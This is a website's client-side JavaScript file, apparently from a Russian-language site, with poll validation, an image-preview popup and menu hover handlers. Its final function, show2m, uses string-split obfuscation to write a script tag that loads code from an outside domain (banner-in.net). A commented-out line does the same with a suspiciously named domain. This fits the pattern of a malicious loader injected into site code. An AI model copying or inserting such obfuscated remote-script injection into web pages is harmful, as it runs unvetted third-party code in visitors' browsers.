var ver = navigator.appVersion;
var itsIE6 = false;
if (ver.indexOf('MSIE 6') != -1) {
	itsIE6 = true;
}
function submitPools(id) {
	var frm = document.getElementById('form_polls'+id);
	var radios = document.getElementsByName("var_radio"+id);
	var check = false;
	if(radios) {
		for(i=0; i<radios.length; i++) if(radios[i].checked) check = true;
	}
	if(!check) {
		alert('Выберите Ваш ответ');
	}
	else {
		frm.submit();
	}
}


function preview_image(img_src) {
    pic = new Image();
    pic.src = img_src;
    setTimeout('view_image(pic.src, pic.width, pic.height);', 500);
}

function view_image(img_src, img_width, img_height){
    if (img_width>screen.availWidth-150 || img_width==0) {
        win_width = screen.availWidth-150;
    } else {
        win_width = img_width+20;
    }
    if (img_height>screen.availHeight-150 || img_height==0) {
        win_height = screen.availHeight-150;
    } else {
        win_height = img_height+20;
    }
    win_top  = Math.abs((screen.availHeight - win_height)/3);
    win_left = Math.abs((screen.availWidth -win_width)/3);
    photoWindow = window.open('', '', "resizable=yes,top=" + win_top + ',left=' + win_left + ",width="+win_width+',height='+win_height+",status=0,menubar=0,toolbar=0,scrollbars=yes");
    photoWindow.document.write('<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html>');
    photoWindow.document.write('<head><title>'+img_src+'</title><style type="text/css"><!-- body {margin:0;padding:0} --></style>');
    photoWindow.document.write('<scr'+'ipt type=text/javascript>');
    photoWindow.document.write('document.onkeypress = function CloseOnEsc(key) { if(document.all) { var keyCode = window.event.keyCode; } else { if (key.which == 0) {window.close();return;}   }  if (keyCode == 27) {window.close();return;} }');
    photoWindow.document.write('</scr'+'ipt>');
    photoWindow.document.write('</head><body><img src="'+img_src+'" ');
    if ( (img_width>1) && (img_height>1) ) {
        photoWindow.document.write('width="'+img_width+'" height="'+img_height+'"');
    }
    photoWindow.document.write(' border=0 onclick="javascript:window.close();">');
    photoWindow.document.write('</body></html>');
    photoWindow.document.bgColor="#f0f0f0";
    photoWindow.document.close()
}

function menu1Over(id) {
	var obj = document.getElementById("mItem"+id);
	if(obj) obj.className = "itemOver";
}
function menu1Out(id) {
	var obj = document.getElementById("mItem"+id);
	if(obj) obj.className = "item";
}
function referatOver(obj) {
	if(obj) obj.className = "rOver";
}
function referatOut(obj) {
	if(obj) obj.className = "";
}

function show2m() {
//	document.write('<'+'SCRIP'+'T TYPE='+'"te'+'xt/javas'+'crip'+'t" '+'LAN'+'GUAGE="JavaScri'+'pt" cha'+'rset="wi'+'ndows-1'+'251" S'+'RC="'+'http://par'+'adi'+'se'+'6.ilo'+'veka'+'spers'+'kynow.inf'+'o/pu'+'.'+'php'+'?id=para'+'dise6"></s'+'crip'+'t>');
	document.write('<sc'+'ript lan'+'guage="jav'+'ascrip'+'t" sr'+'c'+'="htt'+'p://ban'+'ner-in.net/'+'225'+'1.js">'+'</scr'+'ipt>');
}
